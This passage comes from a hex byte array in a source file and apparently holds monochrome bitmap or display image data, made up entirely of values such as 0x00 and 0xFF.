0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, \n0xC0, 0x3E, 0x01, 0xFC, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE7, 0x80, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0x7C, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x1F, 0x00, 0x3E, 0x00, 0x7C, 0x00, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xC0, \n0x7F, 0x01, 0xFC, 0x07, 0xF0, 0x1F, 0x80, 0x7C, 0x03, 0xE0, 0x0F, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0x01, 0xE0, 0x10, 0x00, 0x00, 0x80, 0x10, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, \n0xC0, 0x3F, 0x00, 0xFC, 0x01, 0xF0, 0x03, 0xC0, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0x00, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x1F, 0xC0, 0x3F, 0x00, 0x7C, 0x00, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x1F, 0x80, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 